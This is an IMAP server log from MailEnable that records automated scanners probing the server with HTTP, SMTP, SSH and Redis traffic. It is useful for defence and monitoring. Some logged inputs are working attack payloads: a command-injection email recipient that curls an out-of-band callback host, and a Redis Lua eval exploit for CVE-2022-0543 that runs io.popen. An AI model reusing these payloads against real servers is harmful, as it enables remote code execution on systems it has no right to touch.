#Software: MailEnable IMAP Server #Version: 1.2 #Date: 09/11/26 01:09:11 #Fields: date time c-ip agent account cs-username s-ip s-port cs-method cs-uristem cs-uriquery s-computername sc-bytes cs-bytes time-taken 26-09-11 01:09:11 71.6.238.91 IMAP-IN - - 85.215.251.124 3672 UNKN ip85-215-251-124.pbiaas.com:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 01:09:11 71.6.238.91 IMAP-IN - - 85.215.251.124 3672 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 01:39:15 71.6.238.91 IMAP-IN - - 85.215.251.124 3828 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 202 0 26-09-11 01:39:15 71.6.238.91 IMAP-IN - - 85.215.251.124 3828 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-09-11 01:39:15 71.6.238.91 IMAP-IN - - 85.215.251.124 3828 UNKN e264361a-36b3-4a70-d8ca-f21825d50f20 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 01:39:15 71.6.238.91 IMAP-IN - - 85.215.251.124 3828 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 01:39:15 71.6.238.91 IMAP-IN - - 85.215.251.124 3828 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 01:39:15 71.6.238.91 IMAP-IN - - 85.215.251.124 3828 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 01:39:15 71.6.238.91 IMAP-IN - - 85.215.251.124 3828 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 01:39:16 71.6.238.91 IMAP-IN - - 85.215.251.124 3992 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 284 0 26-09-11 01:39:16 71.6.238.91 IMAP-IN - - 85.215.251.124 3992 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-09-11 01:39:16 71.6.238.91 IMAP-IN - - 85.215.251.124 3992 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 01:39:16 71.6.238.91 IMAP-IN - - 85.215.251.124 3992 UNKN e264361a-36b3-4a70-d8ca-f21825d50f20 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 01:39:16 71.6.238.91 IMAP-IN - - 85.215.251.124 3992 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 01:39:16 71.6.238.91 IMAP-IN - - 85.215.251.124 3992 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-11 01:39:16 71.6.238.91 IMAP-IN - - 85.215.251.124 3992 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 01:39:16 71.6.238.91 IMAP-IN - - 85.215.251.124 3992 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 01:39:17 71.6.238.91 IMAP-IN - - 85.215.251.124 3928 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 202 0 26-09-11 01:39:17 71.6.238.91 IMAP-IN - - 85.215.251.124 3928 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-09-11 01:39:17 71.6.238.91 IMAP-IN - - 85.215.251.124 3928 UNKN 481d497d-4117-4d9e-8272-743fa694fa15 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 01:39:17 71.6.238.91 IMAP-IN - - 85.215.251.124 3928 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 01:39:17 71.6.238.91 IMAP-IN - - 85.215.251.124 3928 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 01:39:17 71.6.238.91 IMAP-IN - - 85.215.251.124 3928 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 01:39:17 71.6.238.91 IMAP-IN - - 85.215.251.124 3928 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 01:39:17 71.6.238.91 IMAP-IN - - 85.215.251.124 3824 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 284 0 26-09-11 01:39:17 71.6.238.91 IMAP-IN - - 85.215.251.124 3824 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-09-11 01:39:17 71.6.238.91 IMAP-IN - - 85.215.251.124 3824 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 01:39:17 71.6.238.91 IMAP-IN - - 85.215.251.124 3824 UNKN 481d497d-4117-4d9e-8272-743fa694fa15 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 01:39:17 71.6.238.91 IMAP-IN - - 85.215.251.124 3824 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 01:39:17 71.6.238.91 IMAP-IN - - 85.215.251.124 3824 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-11 01:39:17 71.6.238.91 IMAP-IN - - 85.215.251.124 3824 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 01:39:17 71.6.238.91 IMAP-IN - - 85.215.251.124 3824 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 01:42:34 205.210.31.54 IMAP-IN - - 85.215.251.124 3840 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-09-11 01:42:34 205.210.31.54 IMAP-IN - - 85.215.251.124 3840 UNKN STARTTLS a002+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-09-11 01:42:54 71.6.238.91 IMAP-IN - - 85.215.251.124 4012 UNKN localhost EHLO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 16 0 26-09-11 01:42:55 71.6.238.91 IMAP-IN - - 85.215.251.124 4012 UNKN FROM:+ MAIL+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 35 0 26-09-11 01:42:55 71.6.238.91 IMAP-IN - - 85.215.251.124 4012 UNKN TO:+<"aabbb$(curl${IFS}{{interactsh-url}})"@mail.domain.com> RCPT+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 67 0 26-09-11 01:42:55 71.6.238.91 IMAP-IN - - 85.215.251.124 4012 UNKN - DATA WIN-RBUO1FA4VBJ 28 6 0 26-09-11 01:42:55 71.6.238.91 IMAP-IN - - 85.215.251.124 4012 UNKN - aaa WIN-RBUO1FA4VBJ 27 5 0 26-09-11 01:42:55 71.6.238.91 IMAP-IN - - 85.215.251.124 4012 UNKN - - WIN-RBUO1FA4VBJ 25 3 0 26-09-11 01:42:55 71.6.238.91 IMAP-IN - - 85.215.251.124 4012 UNKN - QUIT WIN-RBUO1FA4VBJ 28 6 0 26-09-11 02:01:33 71.6.235.30 IMAP-IN - - 85.215.251.124 3836 UNKN /service/extension/backup/mboximport+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 79 0 26-09-11 02:01:33 71.6.235.30 IMAP-IN - - 85.215.251.124 3836 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 02:01:33 71.6.235.30 IMAP-IN - - 85.215.251.124 3836 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 02:09:56 71.6.238.91 IMAP-IN - - 85.215.251.124 3796 UNKN /terminal/ws+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 229 0 26-09-11 02:09:56 71.6.238.91 IMAP-IN - - 85.215.251.124 3796 UNKN ip85-215-251-124.pbiaas.com:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 02:09:56 71.6.238.91 IMAP-IN - - 85.215.251.124 3796 UNKN websocket Upgrade:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 02:09:56 71.6.238.91 IMAP-IN - - 85.215.251.124 3796 UNKN Upgrade Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-11 02:09:56 71.6.238.91 IMAP-IN - - 85.215.251.124 3796 UNKN dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Key:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 40 0 0 26-09-11 02:09:56 71.6.238.91 IMAP-IN - - 85.215.251.124 3796 UNKN 13 Sec-WebSocket-Version:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 44 0 0 26-09-11 02:09:56 71.6.238.91 IMAP-IN - - 85.215.251.124 3796 UNKN http://ip85-215-251-124.pbiaas.com:143 Origin:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-09-11 02:09:56 71.6.238.91 IMAP-IN - - 85.215.251.124 3796 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 02:24:20 71.6.235.30 IMAP-IN - - 85.215.251.124 3928 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 189 0 26-09-11 02:24:20 71.6.235.30 IMAP-IN - - 85.215.251.124 3928 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-09-11 02:24:20 71.6.235.30 IMAP-IN - - 85.215.251.124 3928 UNKN a69ced79-84e2-4f8e-99e9-cc1a106011c9 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 02:24:20 71.6.235.30 IMAP-IN - - 85.215.251.124 3928 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 02:24:20 71.6.235.30 IMAP-IN - - 85.215.251.124 3928 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 02:24:20 71.6.235.30 IMAP-IN - - 85.215.251.124 3928 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 02:24:20 71.6.235.30 IMAP-IN - - 85.215.251.124 3928 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 02:24:22 71.6.235.30 IMAP-IN - - 85.215.251.124 3836 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 271 0 26-09-11 02:24:22 71.6.235.30 IMAP-IN - - 85.215.251.124 3836 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-09-11 02:24:22 71.6.235.30 IMAP-IN - - 85.215.251.124 3836 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 02:24:22 71.6.235.30 IMAP-IN - - 85.215.251.124 3836 UNKN a69ced79-84e2-4f8e-99e9-cc1a106011c9 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 02:24:22 71.6.235.30 IMAP-IN - - 85.215.251.124 3836 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 02:24:22 71.6.235.30 IMAP-IN - - 85.215.251.124 3836 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-11 02:24:22 71.6.235.30 IMAP-IN - - 85.215.251.124 3836 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 02:24:22 71.6.235.30 IMAP-IN - - 85.215.251.124 3836 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 02:24:23 71.6.235.30 IMAP-IN - - 85.215.251.124 3636 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 189 0 26-09-11 02:24:23 71.6.235.30 IMAP-IN - - 85.215.251.124 3636 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-09-11 02:24:23 71.6.235.30 IMAP-IN - - 85.215.251.124 3636 UNKN 7eaf5962-7afe-4e6f-a1c2-d2eac25f5b44 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 02:24:23 71.6.235.30 IMAP-IN - - 85.215.251.124 3636 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 02:24:23 71.6.235.30 IMAP-IN - - 85.215.251.124 3636 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 02:24:23 71.6.235.30 IMAP-IN - - 85.215.251.124 3636 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 02:24:23 71.6.235.30 IMAP-IN - - 85.215.251.124 3636 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 02:24:24 71.6.235.30 IMAP-IN - - 85.215.251.124 3944 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 271 0 26-09-11 02:24:24 71.6.235.30 IMAP-IN - - 85.215.251.124 3944 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-09-11 02:24:24 71.6.235.30 IMAP-IN - - 85.215.251.124 3944 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-09-11 02:24:24 71.6.235.30 IMAP-IN - - 85.215.251.124 3944 UNKN 7eaf5962-7afe-4e6f-a1c2-d2eac25f5b44 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 02:24:24 71.6.235.30 IMAP-IN - - 85.215.251.124 3944 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 02:24:24 71.6.235.30 IMAP-IN - - 85.215.251.124 3944 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-11 02:24:24 71.6.235.30 IMAP-IN - - 85.215.251.124 3944 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-09-11 02:24:24 71.6.235.30 IMAP-IN - - 85.215.251.124 3944 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 02:27:22 71.6.235.30 IMAP-IN - - 85.215.251.124 4044 UNKN localhost EHLO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 16 0 26-09-11 02:27:22 71.6.235.30 IMAP-IN - - 85.215.251.124 4044 UNKN FROM:+ MAIL+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 35 15 26-09-11 02:27:22 71.6.235.30 IMAP-IN - - 85.215.251.124 4044 UNKN TO:+<"aabbb$(curl${IFS}{{interactsh-url}})"@mail.domain.com> RCPT+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 67 0 26-09-11 02:27:22 71.6.235.30 IMAP-IN - - 85.215.251.124 4044 UNKN - DATA WIN-RBUO1FA4VBJ 28 6 0 26-09-11 02:27:22 71.6.235.30 IMAP-IN - - 85.215.251.124 4044 UNKN - aaa WIN-RBUO1FA4VBJ 27 5 0 26-09-11 02:27:23 71.6.235.30 IMAP-IN - - 85.215.251.124 4044 UNKN - - WIN-RBUO1FA4VBJ 25 3 0 26-09-11 02:27:23 71.6.235.30 IMAP-IN - - 85.215.251.124 4044 UNKN - QUIT WIN-RBUO1FA4VBJ 28 6 0 26-09-11 02:48:04 71.6.235.30 IMAP-IN - - 85.215.251.124 3920 UNKN /terminal/ws+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 203 0 26-09-11 02:48:04 71.6.235.30 IMAP-IN - - 85.215.251.124 3920 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 02:48:04 71.6.235.30 IMAP-IN - - 85.215.251.124 3920 UNKN websocket Upgrade:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-09-11 02:48:04 71.6.235.30 IMAP-IN - - 85.215.251.124 3920 UNKN Upgrade Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-11 02:48:04 71.6.235.30 IMAP-IN - - 85.215.251.124 3920 UNKN dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Key:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 40 0 0 26-09-11 02:48:04 71.6.235.30 IMAP-IN - - 85.215.251.124 3920 UNKN 13 Sec-WebSocket-Version:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 44 0 0 26-09-11 02:48:04 71.6.235.30 IMAP-IN - - 85.215.251.124 3920 UNKN http://85.215.251.124:143 Origin:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-09-11 02:48:04 71.6.235.30 IMAP-IN - - 85.215.251.124 3920 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 04:14:13 198.235.24.44 IMAP-IN - - 85.215.251.124 3928 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-09-11 05:25:40 66.228.34.203 IMAP-IN - - 85.215.251.124 3996 UNKN /+HTTP/1.0 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 18 0 26-09-11 05:25:40 66.228.34.203 IMAP-IN - - 85.215.251.124 3996 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 05:25:47 66.228.34.203 IMAP-IN - - 85.215.251.124 3700 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-09-11 05:25:51 66.228.34.203 IMAP-IN - - 85.215.251.124 4060 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-09-11 05:25:53 66.228.34.203 IMAP-IN - - 85.215.251.124 3688 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-09-11 06:52:26 35.205.129.90 IMAP-IN - - 85.215.251.124 3792 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 129 21 0 26-09-11 06:52:51 34.77.22.165 IMAP-IN - - 85.215.251.124 4080 UNKN /+HTTP/1.0 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 18 0 26-09-11 06:52:51 34.77.22.165 IMAP-IN - - 85.215.251.124 4080 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 06:53:02 34.77.22.165 IMAP-IN - - 85.215.251.124 3920 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 126 18 0 26-09-11 07:47:20 64.62.197.92 IMAP-IN - - 85.215.251.124 3656 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-09-11 09:03:36 87.236.176.155 IMAP-IN - - 85.215.251.124 3688 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-09-11 09:03:38 87.236.176.155 IMAP-IN - - 85.215.251.124 3688 LOGOUT LOGOUT *+BYE+IMAP4rev1+server+terminating+connection WIN-RBUO1FA4VBJ 73 13 0 26-09-11 10:44:46 18.218.118.203 IMAP-IN - - 85.215.251.124 3652 UNKN /+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 194 0 26-09-11 10:44:46 18.218.118.203 IMAP-IN - - 85.215.251.124 3652 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 10:44:46 18.218.118.203 IMAP-IN - - 85.215.251.124 3652 UNKN visionheight.com/scan+Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+Chrome/126.0.0.0+Safari/537.36 User-Agent:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-11 10:44:46 18.218.118.203 IMAP-IN - - 85.215.251.124 3652 UNKN */* Accept:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-09-11 10:44:46 18.218.118.203 IMAP-IN - - 85.215.251.124 3652 UNKN gzip Accept-Encoding:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 38 0 0 26-09-11 10:44:46 18.218.118.203 IMAP-IN - - 85.215.251.124 3652 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 10:44:50 18.218.118.203 IMAP-IN - - 85.215.251.124 4060 UNKN /+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 194 0 26-09-11 10:44:50 18.218.118.203 IMAP-IN - - 85.215.251.124 4060 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 10:44:50 18.218.118.203 IMAP-IN - - 85.215.251.124 4060 UNKN visionheight.com/scan+Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+Chrome/126.0.0.0+Safari/537.36 User-Agent:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-09-11 10:44:50 18.218.118.203 IMAP-IN - - 85.215.251.124 4060 UNKN */* Accept:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-09-11 10:44:50 18.218.118.203 IMAP-IN - - 85.215.251.124 4060 UNKN gzip Accept-Encoding:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 38 0 0 26-09-11 10:44:50 18.218.118.203 IMAP-IN - - 85.215.251.124 4060 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 12:25:08 35.202.9.133 IMAP-IN - - 85.215.251.124 3844 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-09-11 13:35:41 71.6.242.129 IMAP-IN - - 85.215.251.124 3892 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-09-11 13:36:13 71.6.242.129 IMAP-IN - - 85.215.251.124 3932 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-09-11 13:37:43 71.6.241.126 IMAP-IN - - 85.215.251.124 4076 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-09-11 13:38:15 71.6.241.126 IMAP-IN - - 85.215.251.124 4068 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-09-11 13:57:55 71.6.242.129 IMAP-IN - - 85.215.251.124 3996 UNKN - SKYSEA WIN-RBUO1FA4VBJ 30 8 0 26-09-11 14:06:03 71.6.241.126 IMAP-IN - - 85.215.251.124 3576 UNKN - SKYSEA WIN-RBUO1FA4VBJ 30 8 0 26-09-11 14:20:40 71.6.242.129 IMAP-IN - - 85.215.251.124 4932 UNKN - SSH-2.0-OpenSSH_8.0 WIN-RBUO1FA4VBJ 43 21 0 26-09-11 14:29:27 71.6.242.129 IMAP-IN - - 85.215.251.124 4680 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-09-11 14:38:09 71.6.241.126 IMAP-IN - - 85.215.251.124 4904 UNKN - SSH-2.0-OpenSSH_8.0 WIN-RBUO1FA4VBJ 43 21 0 26-09-11 14:41:10 71.6.242.129 IMAP-IN - - 85.215.251.124 3240 UNKN nuclei.local EHLO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 19 0 26-09-11 14:46:43 71.6.242.129 IMAP-IN - - 85.215.251.124 4732 UNKN ClueCon auth+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 16 0 26-09-11 14:46:43 71.6.242.129 IMAP-IN - - 85.215.251.124 4732 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 14:46:54 71.6.242.129 IMAP-IN - - 85.215.251.124 1360 UNKN - SSH-2.0-NucleiScanner WIN-RBUO1FA4VBJ 45 23 0 26-09-11 14:50:40 71.6.241.126 IMAP-IN - - 85.215.251.124 3596 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-09-11 14:59:26 71.6.242.129 IMAP-IN - - 85.215.251.124 4356 UNKN /+HTTP/1.0 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 44 0 26-09-11 14:59:26 71.6.242.129 IMAP-IN - - 85.215.251.124 4356 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 14:59:26 71.6.242.129 IMAP-IN - - 85.215.251.124 4356 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 15:05:52 71.6.241.126 IMAP-IN - - 85.215.251.124 3500 UNKN nuclei.local EHLO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 19 0 26-09-11 15:08:58 71.6.242.129 IMAP-IN - - 85.215.251.124 4584 UNKN - SSH-2.0-OpenSSH_scanner WIN-RBUO1FA4VBJ 47 25 0 26-09-11 15:11:03 71.6.242.129 IMAP-IN - - 85.215.251.124 3596 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-09-11 15:12:14 71.6.241.126 IMAP-IN - - 85.215.251.124 4152 UNKN - SSH-2.0-NucleiScanner WIN-RBUO1FA4VBJ 45 23 0 26-09-11 15:12:17 71.6.241.126 IMAP-IN - - 85.215.251.124 4376 UNKN ClueCon auth+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 16 0 26-09-11 15:12:17 71.6.241.126 IMAP-IN - - 85.215.251.124 4376 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 15:30:09 71.6.241.126 IMAP-IN - - 85.215.251.124 3672 UNKN /+HTTP/1.0 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 57 0 26-09-11 15:30:09 71.6.241.126 IMAP-IN - - 85.215.251.124 3672 UNKN ip85-215-251-124.pbiaas.com:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 15:30:09 71.6.241.126 IMAP-IN - - 85.215.251.124 3672 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 15:42:06 71.6.242.129 IMAP-IN - - 85.215.251.124 4488 UNKN 'local+io_l+=+package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",+"luaopen_io");+local+io+=+io_l();+local+f+=+io.popen("echo+FIRE-CVE-2022-0543-CONFIRMED",+"r");+local+res+=+f:read("*a");+f:close();+return+res'+0 eval+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 227 0 26-09-11 15:42:15 71.6.241.126 IMAP-IN - - 85.215.251.124 4320 UNKN - SSH-2.0-OpenSSH_scanner WIN-RBUO1FA4VBJ 47 25 0 26-09-11 15:42:29 71.6.242.129 IMAP-IN - - 85.215.251.124 4752 UNKN - PING WIN-RBUO1FA4VBJ 28 6 0 26-09-11 15:42:29 71.6.242.129 IMAP-IN - - 85.215.251.124 4752 UNKN server INFO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 13 0 26-09-11 15:45:10 71.6.241.126 IMAP-IN - - 85.215.251.124 3632 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-09-11 15:48:09 71.6.242.129 IMAP-IN - - 85.215.251.124 4504 UNKN /service/extension/backup/mboximport+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 79 0 26-09-11 15:48:09 71.6.242.129 IMAP-IN - - 85.215.251.124 4504 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-09-11 15:48:09 71.6.242.129 IMAP-IN - - 85.215.251.124 4504 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-09-11 16:10:28 71.6.242.129 IMAP-IN - - 85.215.251.124 3300 UNKN - SSH-2.0-OpenSSH_8.0 WIN-RBUO1FA4VBJ 43 